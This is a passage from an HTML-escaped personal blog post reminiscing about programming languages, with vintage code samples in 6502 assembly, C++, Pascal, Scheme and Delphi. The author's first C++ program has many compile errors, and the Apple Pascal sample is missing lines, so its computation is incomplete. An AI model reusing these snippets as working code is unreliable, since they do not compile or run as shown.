&amp;quot;PRESS ANY KEY TO CONTINUE....&amp;quot;;: GET Z$ &lt;br /&gt;3190 PRINT:PRINT &lt;br /&gt;3200 GOTO 100 &lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://www.6502.org/tutorials/6502opcodes.html"&gt;6502 Assembly&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I wrote a database program for the Apple ][ back in 1984. If I printed all  of it out, it would be a stack of pages as thick as a novel. And all it did was  basic Read/Write/Update/Delete database operations that you could accomplish in  just a few lines of Java code today. This piece of code is reading a small data  buffer and outputting the data to the screen at the current cursor position. The  label names I used were horrible, like "ARES2" and "AACONT2", and that's because  after a few hundred pages of source code, you run out of good names for labels,  and you are just happy to find any combination of letters you haven't used yet.  &lt;/dd&gt;&lt;dd&gt;&lt;pre&gt;&lt;br /&gt;ALPH1 INC REC1+1 ; INCREMENT RECORD # TO 1 (ONLY ONE PASS) &lt;br /&gt;  BNE ACONT &lt;br /&gt; INC REC2+1 &lt;br /&gt;ACONT LDA #DBHI ; STORE ADDRESS OF DATABUFFER 1 &lt;br /&gt; STA BUFFAHI+1 &lt;br /&gt; LDA #DBLO &lt;br /&gt; STA BUFFALO+1 &lt;br /&gt; JSR RD ; READ INTO DB 1 &lt;br /&gt; LDY #$0A ; CHECK FOR ERROR &lt;br /&gt; LDA (00),Y &lt;br /&gt; CMP #$00 &lt;br /&gt; BEQ ARES2 &lt;br /&gt; JMP QUIT ; IF ERROR QUIT &lt;br /&gt;ARES2 INC REC1+1 ; INCREMENT RECORD #.  (MULTI PASS) &lt;br /&gt; BNE AACONT2 &lt;br /&gt; INC REC2+1 &lt;br /&gt;AACONT2 LDA REC2+1 ; &lt;br /&gt; CMP NHI ; &lt;br /&gt; BCC ACONT2 ; &lt;br /&gt; BEQ AHIEQ ; &lt;br /&gt; JMP QUIT ;  CHECK TO SEE IF END OF RECORDS REACHED &lt;br /&gt;AHIEQ LDA REC1+1 ; &lt;br /&gt; CMP NLO ; &lt;br /&gt; BCC ACONT2 ;  CAREFUL HERE....LAST RECORD &lt;br /&gt; BEQ ACONT2 ; &lt;br /&gt; JMP QUIT ; &lt;br /&gt;ACONT2 LDA #DBHI2  ; FASTER TO DO ONLY ONCE. POSSIBLE FIX. &lt;br /&gt; STA BUFFAHI+1  ; STORE ADDRESS OF DB 2 &lt;br /&gt; LDA #DBLO2 &lt;br /&gt; STA BUFFALO+1 &lt;br /&gt; JSR RD ; READ INTO DB 2 &lt;br /&gt; LDY #$0A &lt;br /&gt; LDA (00),Y &lt;br /&gt; CMP #$00 &lt;br /&gt; BEQ ARES3 &lt;br /&gt; JMP QUIT ; IF ERROR QUIT &lt;br /&gt;  &lt;br /&gt; ; &lt;br /&gt; ; OUTPUT RECORD TO VIDEO &lt;br /&gt; ; &lt;br /&gt;ARES3 LDX #$0 &lt;br /&gt;ALOOPA LDA DATABUF2,X &lt;br /&gt; CMP #$0 &lt;br /&gt; BNE OUTONE &lt;br /&gt; LDA #$A0 &lt;br /&gt;OUTONE CMP #$8D &lt;br /&gt; BNE OUTONEX &lt;br /&gt; LDA #$AA &lt;br /&gt;OUTONEX CPX #$27 &lt;br /&gt; BCS NOTVID &lt;br /&gt; STA VIDEO,X &lt;br /&gt; INX &lt;br /&gt; CPX RECLEN &lt;br /&gt; BNE ALOOPA &lt;br /&gt; &lt;br /&gt; ; &lt;br /&gt; ; VIDEO OUT END &lt;br /&gt; ; &lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;strong&gt;Merlin Assembler&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;This was probably the most popular assembler for the Apple ][. I used both  Merlin and LISA heavily in my own software development. (I still use both to  this day.) I can't find any good links about Merlin through, other than these  links to the documentation: &lt;a href="http://www.textfiles.com/apple/DOCUMENTATION/merlin.docs1"&gt;doc1&lt;/a&gt;, &lt;a href="http://www.textfiles.com/apple/DOCUMENTATION/merlin.docs2"&gt;doc2&lt;/a&gt;, &lt;a href="http://www.textfiles.com/apple/DOCUMENTATION/merlin.docs3"&gt;doc3&lt;/a&gt;  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Logo_%28programming_language%29"&gt;Logo&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Turtle! Turtle! Turtle! A entire programming language designed around the  concept of issuing commands to an imaginary turtle. And the turtle was drawn on  the screen as a triangle...because we all know that turtles have three sides.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/C%2B%2B"&gt;C++&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Here is the absolutely first C++ program I ever wrote. This was for a class  in college.  Apparently I was very fond of stream operations.  &lt;/dd&gt;&lt;dd&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;class faculty : public person &lt;br /&gt;{ &lt;br /&gt;        char *rank; &lt;br /&gt;        int tenured; &lt;br /&gt;        char *dept; &lt;br /&gt;        int salary; &lt;br /&gt;        int get(faculty p); &lt;br /&gt;        ostream&amp;amp; operator &amp;lt;&amp;lt; (ostream&amp;amp; s, faculty&amp;amp; p); &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;faculty::faculty(int n, int a, int p, int s, int r, int t, int d, int sal) &lt;br /&gt;        : person(n, a, p, s)    /* call the person constructor */ &lt;br /&gt;{ &lt;br /&gt;        rank = (char *)malloc(r); &lt;br /&gt;        tenured = t; &lt;br /&gt;        dept = (char *)malloc(d); &lt;br /&gt;        salary = sal; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;int get(faculty p) &lt;br /&gt;{ &lt;br /&gt;        int status; &lt;br /&gt;        status = person::get(p); &lt;br /&gt;        return (status + scanf(&amp;quot;%f%s%s%s&amp;quot;, p.gpa, p.major, p.id)); &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;ostream&amp;amp; operator &amp;lt;&amp;lt; (ostream&amp;amp; s, faculty&amp;amp; p) &lt;br /&gt;{ &lt;br /&gt;        s &amp;lt;&amp;lt; p.name &amp;lt;&amp;lt; p.address &amp;lt;&amp;lt; p.phone &amp;lt;&amp;lt; p.ssn &amp;lt;&amp;lt; &lt;br /&gt;                  p.rank &amp;lt;&amp;lt; p.tenured &amp;lt;&amp;lt; p.dept &amp;lt;&amp;lt; p.salary; &lt;br /&gt;        return s; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;class person &lt;br /&gt;{ &lt;br /&gt;protected: &lt;br /&gt;        person() {}; &lt;br /&gt;        person(char *n, char *a, char *p, char *s); &lt;br /&gt;   char *name; &lt;br /&gt;   char *address; &lt;br /&gt;   char *phone; &lt;br /&gt;   char *ssn; &lt;br /&gt;   person create(char *n,char *a,char *p,char *s); &lt;br /&gt;   void copy(person&amp;amp; d, person s); &lt;br /&gt;   void get(ostream&amp;amp; s, person p); &lt;br /&gt;   ostream&amp;amp; put(ostream&amp;amp; s, person p); &lt;br /&gt;   ostream&amp;amp; operator &amp;gt;&amp;gt; (ostream&amp;amp; s, person&amp;amp; p); &lt;br /&gt;   ostream&amp;amp; operator &amp;lt;&amp;lt; (ostream&amp;amp; s, person&amp;amp; p); &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;person::person(char *n, char *a, char *p, char *s) &lt;br /&gt;{ &lt;br /&gt;   name = new char[strlen(n)+1]; &lt;br /&gt;   address = new char[strlen(a)+1]; &lt;br /&gt;   phone = new char[strlen(p)+1]; &lt;br /&gt;   ssn = new char[strlen(s)+1]; &lt;br /&gt; &lt;br /&gt;   strcpy(name, n); &lt;br /&gt;   strcpy(address, a); &lt;br /&gt;   strcpy(phone, p); &lt;br /&gt;   strcpy(ssn, s); &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;person create(char *n,char *a,char *p,char *s) &lt;br /&gt;{ &lt;br /&gt;   person pr; &lt;br /&gt; &lt;br /&gt;   pr.name = new char[strlen(n)+1]; &lt;br /&gt;   pr.address = new char[strlen(a)+1]; &lt;br /&gt;   pr.phone = new char[strlen(p)+1]; &lt;br /&gt;   pr.ssn = new char[strlen(s)+1]; &lt;br /&gt; &lt;br /&gt;   strcpy(pr.name, n); &lt;br /&gt;   strcpy(pr.address, a); &lt;br /&gt;   strcpy(pr.phone, p); &lt;br /&gt;   strcpy(pr.ssn, s); &lt;br /&gt; &lt;br /&gt;   return pr; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;void copy(person&amp;amp; d, person s) &lt;br /&gt;{ &lt;br /&gt;   delete d.name; &lt;br /&gt;   delete d.address; &lt;br /&gt;   delete d.phone; &lt;br /&gt;   delete d.ssn; &lt;br /&gt; &lt;br /&gt;   name = new char[strlen(s.name)+1]; &lt;br /&gt;   address = new char[strlen(s.address)+1]; &lt;br /&gt;   phone = new char[strlen(s.phone)+1]; &lt;br /&gt;   ssn = new char[strlen(s.ssn)+1]; &lt;br /&gt; &lt;br /&gt;   strcpy(d.name, s.name); &lt;br /&gt;   strcpy(d.address, s.address); &lt;br /&gt;   strcpy(d.phone, s.phone); &lt;br /&gt;   strcpy(d.ssn, s.ssn); &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;void get(ostream&amp;amp;s, person p) &lt;br /&gt;{ &lt;br /&gt;   s &amp;gt;&amp;gt; p.name &amp;gt;&amp;gt; p.address &amp;gt;&amp;gt; p.phone &amp;gt;&amp;gt; p.ssn; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;void put(ostream&amp;amp; s, person&amp;amp; p) &lt;br /&gt;{ &lt;br /&gt;   s &amp;lt;&amp;lt; p.name &amp;lt;&amp;lt; p.address &amp;lt;&amp;lt; p.phone &amp;lt;&amp;lt; p.ssn; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;ostream&amp;amp; operator &amp;gt;&amp;gt; (ostream&amp;amp; s, person&amp;amp; p) &lt;br /&gt;{ &lt;br /&gt;   person::get(s, p); &lt;br /&gt;   return s; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;ostream&amp;amp; operator &amp;lt;&amp;lt; (ostream&amp;amp; s, person&amp;amp; p) &lt;br /&gt;{ &lt;br /&gt;   person::put(s, p); &lt;br /&gt;   return s; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;class student : public person &lt;br /&gt;{ &lt;br /&gt;   float gpa; &lt;br /&gt;   char *major; &lt;br /&gt;   char *id; &lt;br /&gt;   student() {}; &lt;br /&gt;   student(char *n, char *a, char *p, char *s, float g, char *m, char *i); &lt;br /&gt;   student create(char *n,char *a,char *p,char *s,float g,char *m,char *i); &lt;br /&gt;   student student::operator = (student&amp;amp; s); &lt;br /&gt;   ostream&amp;amp; get(ostream&amp;amp; s, student&amp;amp; p); &lt;br /&gt;   ostream&amp;amp; put(ostream&amp;amp; s, student&amp;amp; p); &lt;br /&gt;   ostream&amp;amp; operator &amp;gt;&amp;gt; (ostream&amp;amp; s, student&amp;amp; p); &lt;br /&gt;   ostream&amp;amp; operator &amp;lt;&amp;lt; (ostream&amp;amp; s, student&amp;amp; p); &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;student::student(int n, int a, int p, int s, float g, int m, int i) &lt;br /&gt;   : person(n, a, p, s) &lt;br /&gt;{ &lt;br /&gt;   gpa = g; &lt;br /&gt;   major = (char *)malloc(m); &lt;br /&gt;   id = (char *)malloc(i); &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;student create(char *n,char *a,char *p,char *s,float g,char *m,char *i) &lt;br /&gt;{ &lt;br /&gt;   student st; &lt;br /&gt; &lt;br /&gt;   st = person::create(n, a, p, s); &lt;br /&gt;   st.gpa = g; &lt;br /&gt;   st.major = new char[strlen(m)+1]; &lt;br /&gt;   st.id = new char[strlen(i)+1]; &lt;br /&gt;   strcpy(st.major, m); &lt;br /&gt;   strcpy(st.id, i); &lt;br /&gt; &lt;br /&gt;   return st; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;student student::operator = (student&amp;amp; s) &lt;br /&gt;{ &lt;br /&gt;        if (this == &amp;amp;n) &lt;br /&gt;                return s; &lt;br /&gt; &lt;br /&gt;        delete name; &lt;br /&gt;        delete address; &lt;br /&gt;        delete phone; &lt;br /&gt;        delete ssn; &lt;br /&gt; &lt;br /&gt;        delete major; &lt;br /&gt;        delete id; &lt;br /&gt; &lt;br /&gt;        return (create(s.name, s.address, s.phone, s.ssn, s.gpa, s.major, s.id)) &lt;br /&gt;; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;void get(ostream&amp;amp; s, student p) &lt;br /&gt;{ &lt;br /&gt;   person::get(s, p); &lt;br /&gt;   s &amp;gt;&amp;gt; p.gpa &amp;gt;&amp;gt; p.major &amp;gt;&amp;gt; p.id; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;void put(ostream&amp;amp; s, student p) &lt;br /&gt;{ &lt;br /&gt;   person::put(s, p); &lt;br /&gt;   s &amp;lt;&amp;lt; p.gpa &amp;lt;&amp;lt; p.major &amp;lt;&amp;lt; p.id; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;ostream&amp;amp; operator &amp;gt;&amp;gt; (ostream&amp;amp; s, student&amp;amp; p) &lt;br /&gt;{ &lt;br /&gt;   student::get(s, p); &lt;br /&gt;   return s; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;ostream&amp;amp; operator &amp;lt;&amp;lt; (ostream&amp;amp; s, student&amp;amp; p) &lt;br /&gt;{ &lt;br /&gt;   student::put(s, p); &lt;br /&gt;   return s; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Apple_Pascal"&gt;Apple Pascal&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was the first true IDE for the Apple Computer (and for any personal  computer that I know of). It had a top navbar with menus (and this was 1979!!).   The one thing that made Apple Pascal icky was that it had its own proprietary  operating system.  This proprietary OS had all the Pascal runtime libraries  built in at the OS level, so that allowed you to generate smaller  executables...if you were running on the Pascal OS.  This is eerily similar to  the relationship between Microsoft Windows and .NET. Microsoft has intentionally  made .NET part of the Windows Operating system, so that you can have smaller  executables.&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;&lt;pre&gt; &lt;br /&gt;Program Formula(Input,Output); &lt;br /&gt; &lt;br /&gt;Var &lt;br /&gt;H,F:ARRAY[1..100] OF INTEGER; &lt;br /&gt;I,N:INTEGER; &lt;br /&gt;R,E,A,L,U,M:REAL; &lt;br /&gt; &lt;br /&gt;Begin &lt;br /&gt;{ set all variables to zero } &lt;br /&gt;I:=0;N:=0;R:=0;E:=0;A:=0;L:=0;U:=0;M:=0; &lt;br /&gt;CLRSCR; &lt;br /&gt;{ entrance stage } &lt;br /&gt;{ user inputs all grades of students tested, and computer stores this } &lt;br /&gt;{ information under variables H[i] for high school grades and F[i] for } &lt;br /&gt;{ college freshmen year grades. } &lt;br /&gt;WRITELN('Enter the number of students to be correlated: '); &lt;br /&gt;READLN(N); &lt;br /&gt;FOR I:=1 TO N DO &lt;br /&gt;BEGIN &lt;br /&gt;WRITE('Enter the final high school average of student (',I,'): '); &lt;br /&gt;READLN(H[I]); &lt;br /&gt;WRITE('Enter the final average for the freshmen year  -=&amp;gt; '); &lt;br /&gt;READLN(F[I]); &lt;br /&gt;E:=E+(H[I]*F[I]); &lt;br /&gt;A:=A+H[I]; &lt;br /&gt;L:=L+F[I]; &lt;br /&gt;U:=U+SQR(H[I]); &lt;br /&gt;M:=M+SQR(F[I]); &lt;br /&gt;END; &lt;br /&gt;CLRSCR; &lt;br /&gt;WRITELN('Please check your printer for results of test.  Thankyou for using the CPT.'); &lt;br /&gt;WRITELN(LST,'                            College prediction tool'); &lt;br /&gt;WRITELN(LST,'=============================================================================='); &lt;br /&gt;WRITELN(LST,'                                                                            '); &lt;br /&gt;WRITELN(LST,' Out of the ',n,' students tested, they recieved the following averages...     '); &lt;br /&gt;FOR I:=1 TO N DO &lt;br /&gt;BEGIN &lt;br /&gt;WRITE(LST,' Final High School average of student ('); &lt;br /&gt;IF I&amp;lt;10&amp;gt;0 THEN WRITE(LST,'+'); &lt;br /&gt;WRITELN(LST,R:2:0,' or ',R:2:8,'.                        '); &lt;br /&gt;WRITELN(LST,'                                                                            '); &lt;br /&gt; &lt;br /&gt;IF R&amp;gt;0.85 THEN BEGIN &lt;br /&gt;       WRITELN(LST,' This suggests a strong correlation between High School scores and a        '); &lt;br /&gt;       WRITELN(LST,' students first year of college.                                            ') &lt;br /&gt;     END; &lt;br /&gt;IF R&amp;lt;=0.85 THEN BEGIN                       WRITELN(LST,' This suggests that there is no correlation between High School scores and  ');                       &lt;br /&gt;WRITELN(LST,' students first year of college.                                            ');                     &lt;br /&gt;END;    WRITELN(LST,'                                                                            ');    &lt;br /&gt;WRITELN(LST,'=============================================================================='); &lt;br /&gt;END.   &lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Turbo_Pascal"&gt;Turbo Pascal&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was the real birth of Borland. They made a Pascal compiler that was  small and fast and portable to a wide range of platforms, and it became the most  popular compiler of the day. I had a Pascal class at school where we used Turbo  Pascal on IBM PC's, and I also ran Turbo Pascal on my Apple ][ using a CPM card.  &lt;pre&gt;&lt;br /&gt;(*  Robert Pappas  &lt;br /&gt;    AP Computer Science  &lt;br /&gt;    Third Period  &lt;br /&gt;    Due: Thursday, October 4, 1985  *)  &lt;br /&gt;  &lt;br /&gt;(* Program to find primes by the Sieve of Eratosthenes *)  &lt;br /&gt;  &lt;br /&gt;PROGRAM PRIMES(INPUT,OUTPUT);  &lt;br /&gt;  &lt;br /&gt;VAR A:ARRAY[1..1003] OF INTEGER;  &lt;br /&gt;P,Q,W,R:INTEGER;  &lt;br /&gt;  &lt;br /&gt;BEGIN  &lt;br /&gt;WRITELN(LST,'ALL PRIMES FROM 2-1000 : ');  &lt;br /&gt;R:=1;  &lt;br /&gt;FOR Q:=1 TO 1000 DO  &lt;br /&gt;  BEGIN  &lt;br /&gt;    A[Q]:=1;  &lt;br /&gt;  END;  &lt;br /&gt;  FOR P:=2 TO 999 DO  &lt;br /&gt;   BEGIN  &lt;br /&gt;     R:=R+1;  &lt;br /&gt;     W:=R*2;  &lt;br /&gt;    WHILE W&amp;lt;=1000 DO  &lt;br /&gt;     BEGIN  &lt;br /&gt;      A[W]:=0;  &lt;br /&gt;      W:=W+R;  &lt;br /&gt;    END;  &lt;br /&gt;  END;  &lt;br /&gt;FOR Q:=2 TO 1000 DO  &lt;br /&gt;  BEGIN  &lt;br /&gt;   IF A[Q]=1 THEN WRITE(LST,' ',Q);  &lt;br /&gt;  END;  &lt;br /&gt;END.  &lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Lisp_%28programming_language%29"&gt;Lisp&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The popular joke about Lisp is that it stands for "Lots of Silly Irritating  Parenthesis". Lisp is a functional language (as opposed to a procedural  language).  Everything is a function, and there is no real concept of "state" or  mutable data.  Subroutines and major sections of code are implemented as many  sets of nested functions, thus resulting in the extensive uses of parenthesis.&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;For Computer Scientists, Lisp is just about the coolest programming language  ever invented, and that is absolutely amazing considering Lisp is even older the  COBOL! Lisp continues to be cool...and perhaps has gotten even cooler now that  there has been a resurgence in the popularity of function languages. COBOL, on  the other hand, is viewed as a cancer of Computer Science for which there is no  cure. The best we've done is to drive it into remission.  &lt;/dd&gt;&lt;dd&gt;&lt;pre&gt;&lt;br /&gt;; Traveling salesman problem.   Written by Robert Pappas  3/17/90 &lt;br /&gt;; &lt;br /&gt;; This program will take a list of cities and the distances between &lt;br /&gt;; cities and return the shortest possible route to reach all cities &lt;br /&gt;; in a loop.  To run the program, load it into scheme, and call the function &lt;br /&gt;; 'main' with the number of cities there are.  For this example, the data &lt;br /&gt;; table has been set up for 6 cities, so you could call (main 6) &lt;br /&gt;; for all 6 cities, or (main 5) for the shortest distance among the &lt;br /&gt;; first 5, etc.  If more or different cities are to be added, only &lt;br /&gt;; the variables 'citylist' (which contains the city names) and &lt;br /&gt;; 'vec' (which contains a two-dimensional array containing distances &lt;br /&gt;; from every city to every other city) need to be changed. &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;; The functions 'minus' takes two arguments, an element, and a list &lt;br /&gt;; and returns the list minus that element &lt;br /&gt;; (minus '3 '(1 2 3 4 5)) would be '(1 2 4 5)  &lt;br /&gt; &lt;br /&gt;(define minus (lambda (ele l) &lt;br /&gt;    (if  (eq? (car l) ele)  (cdr l) &lt;br /&gt;      (cons (car l) (minus ele (cdr l)))))) &lt;br /&gt; &lt;br /&gt;; My_min returns the smaller of two lists by comparing their first elements. &lt;br /&gt;; This is used for comparing distances, since all city paths contain N &lt;br /&gt;; elements for the N cities, plus a distance number at the head of the &lt;br /&gt;; list, and it is that number which must be compared. &lt;br /&gt; &lt;br /&gt;(define my_min (lambda (z1 z2) &lt;br /&gt;   (if (equal? z1 '(0)) z2 &lt;br /&gt;   (if (&amp;gt; (car z1) (car z2)) z2 z1)))) &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;; List of cities &lt;br /&gt; &lt;br /&gt;(define citylist (vector '(Gary,) '(Ft. Wayne,) '(Evansville,) &lt;br /&gt;                         '(Terre Haute,) '(South Bend,) &lt;br /&gt;                         '(Indianapolis,))) &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;; 2-D array of distances in the same order as 'citylist' &lt;br /&gt; &lt;br /&gt;(define vec (vector (vector 0 132 277 164 58 153) &lt;br /&gt;             (vector 132 0 290 201 79 121)  &lt;br /&gt;             (vector 277 290 0 113 303 168) &lt;br /&gt;             (vector 164 201 113 0 196 71) &lt;br /&gt;             (vector 58 79 303 196 0 140) &lt;br /&gt;             (vector 153 121 168 71 140 0))) &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;; The function 'distance' receives two arguments, 'l' which is the list &lt;br /&gt;; of cities to calculate the distance on, and 'n' which is the number of &lt;br /&gt;; cities in the list.  Distance will then return the distance traveled &lt;br /&gt;; by following a path connecting them in the order listed.  &lt;br /&gt; &lt;br /&gt;(define distance (lambda (l n) &lt;br /&gt;  (if (equal? (length l) 1) (vector-ref (vector-ref vec (car l)) n) &lt;br /&gt;      (+ (vector-ref (vector-ref vec (car l)) (cadr l)) &lt;br /&gt;         (distance (cdr l) n))))) &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;; The function 'mini' is the guts of the program.  It controls the &lt;br /&gt;; stepping of the program through the entire tree of path possibilities. &lt;br /&gt;; 'l' is the list of cities unused, and 'pl' is the list of cities that &lt;br /&gt;; have already been visited along the path.  'k' and 'n' are counter &lt;br /&gt;; variables for position in list and number of cities respectively. &lt;br /&gt; &lt;br /&gt;(define mini (lambda (l pl k n) &lt;br /&gt;     (if (equal? n 0) (cons (distance pl (car pl))  pl) &lt;br /&gt;         (my_min (if (equal? (+ k 1) n ) '(0) &lt;br /&gt;         (mini l pl (+ k 1) n)  ) &lt;br /&gt;         (mini (minus (list-ref l k) l) &lt;br /&gt;         (append pl (list (list-ref l k))) 0  &lt;br /&gt;         (- n 1)))))) &lt;br /&gt; &lt;br /&gt;; Dump translates the list of numbers returned by the program into &lt;br /&gt;; the corresponding city names. &lt;br /&gt; &lt;br /&gt;(define dump (lambda (l) &lt;br /&gt;  (if (equal? (length l) 1) (vector-ref citylist (car l)) &lt;br /&gt;      (append (vector-ref citylist (car l)) &lt;br /&gt;              (dump (cdr l)))))) &lt;br /&gt; &lt;br /&gt;; Opt prints out the distance in a somewhat readable format and &lt;br /&gt;; then calls dump (see above) &lt;br /&gt; &lt;br /&gt;(define opt (lambda (l) &lt;br /&gt;  (write (append  (list (car l)) &lt;br /&gt;                  (list '(miles)) &lt;br /&gt;                  (dump (cdr l)))))) &lt;br /&gt; &lt;br /&gt;; Makelist generates a list containing all the numbers corresponding to &lt;br /&gt;; all the cities.  Makelist (6) would return '(1 2 3 4 5 6) for example. &lt;br /&gt; &lt;br /&gt;(define makelist (lambda (g) &lt;br /&gt;  (if (equal? g 0) '(0) &lt;br /&gt;      (append (list g) (makelist (- g 1)))))) &lt;br /&gt; &lt;br /&gt;; Main starts this whole chain of events off. &lt;br /&gt; &lt;br /&gt;(define main (lambda (x) &lt;br /&gt;(opt (mini (makelist (- x 1)) '() 0 x)))) &lt;br /&gt; &lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Scheme_Programming_language"&gt;Scheme&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A smaller and more modern implementation of Lisp.  It implements some  aspects of declarative programming for convenience and to make it a slightly  more accessible flavor of Lisp.&lt;br /&gt;&lt;br /&gt;The sample Lisp program I gave above is  actually written for Scheme.  &lt;/dd&gt;&lt;dt&gt;&lt;strong&gt;Oracle Forms&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;When all you make is databases, you develop a strange perspective on the  world in which everything looks a query. The whole purpose of Oracle Forms was  (and continues to be) to make any screen just a visual representation of a SQL  statement. And to some extent...ya...that kinda works. But it leads to flat  client/server applications.  &lt;/dd&gt;&lt;dt&gt;&lt;strong&gt;SQL&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;Structure Query Language.  I've written nightmarishly complex SQL statements  over the years, but they aren't worth posting here.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Stored_procedures"&gt;Stored  Procedures&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I think developers have had a love/hate relationship with stored procedures  over the years. Centralizing data logic is good. Adding load to the least  scalable piece of your infrastructure is bad.  But the real tipping point for me  that made me not want to use Stored Procedures is that they are all database  specific. There is no database-neutral Stored Procedure language that is  supported by all major databases. I've run into too many instances where we  needed to port a project from one database to another, but couldn't because it  used stored procedures heavily.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Shell_scripting"&gt;Unix Shell  Scripting&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This is not a real programming language, but rather just a scripting  language for Unix/Linux.  Flow control and comparators are especially kludgey in  all Shell Scripting languages that I know.&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Modula_2"&gt;Modula-2&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A supposed successor to Pascal, and based largely on the Pascal syntax.  It  also had support for multiprogramming.  But it never really caught on, and I've  never seen it used outside of one class I took.&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Borland_C%2B%2B"&gt;Borland C++&lt;br /&gt;&lt;/a&gt; &lt;/dt&gt;&lt;dd&gt;This was THE C++ compiler for the PC platform in the DOS days.  But when  Windows came along, Microsoft leveraged their Windows monopoly to drive Borland  out of the market.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Turbo_Vision"&gt;Turbo Vision&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Oh I wish I still had the source code for some of the applications I wrote  in Turbo Vision. Turbo Vision was a GUI framework written using only text-mode  ANSI characters. It had mouse support and implemented windows, buttons,  droplists, and other GUI controls using only a text interface.  That's VERY  cool, and I would argue still useful today.  I'm a fan of &lt;a href="http://en.wikipedia.org/wiki/Ncurses"&gt;ncurses&lt;/a&gt; for similar reasons.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Borland_Delphi"&gt;Delphi&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Delphi was one of the first and best RAD (Rapid Application Development)  platforms in the 90's.  Delphi used Object Pascal as its programming language.   Most IDEs that tried to be RAD used "toy" programming languages like Basic.  These IDEs were only good for FAD (Fake Application Development).  Other IDEs  tried to use serious programming languages like C++, but C++ is too complex for  two-way wizarding.  These IDEs became SAD (Slow Application Development).   Delphi struck that perfect balance between having a real programming language,  and still having a powerful IDE that could do all the boilerplate work of GUI  development.  Despite technical superiority on many levels, Delphi's RAD was no  match for MAD (Microsoft Application Development).&lt;br /&gt;&lt;/dd&gt;&lt;dd&gt;&lt;pre&gt;  &lt;br /&gt; unit Unit1;&lt;br /&gt; &lt;br /&gt; interface&lt;br /&gt; &lt;br /&gt; uses&lt;br /&gt;   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,&lt;br /&gt;   Dialogs, StdCtrls;&lt;br /&gt; &lt;br /&gt; type&lt;br /&gt;   TForm1 = class(TForm)&lt;br /&gt;     Label1: TLabel;      &lt;br /&gt;     Button1: TButton;    &lt;br /&gt;     procedure Button1Click(Sender: TObject);&lt;br /&gt;   private&lt;br /&gt;     { private declarations }&lt;br /&gt;   public&lt;br /&gt;     { public declarations }&lt;br /&gt;   end;&lt;br /&gt; &lt;br /&gt; var&lt;br /&gt;   Form1: TForm1;&lt;br /&gt; &lt;br /&gt; implementation&lt;br /&gt; &lt;br /&gt; {$R *.dfm}&lt;br /&gt;&lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject);&lt;br /&gt; begin&lt;br /&gt;   Label1.Caption := 'Hello World';    &lt;br /&gt; end;&lt;br /&gt; &lt;br /&gt; end.&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Watcom_C_Compiler"&gt;Watcom 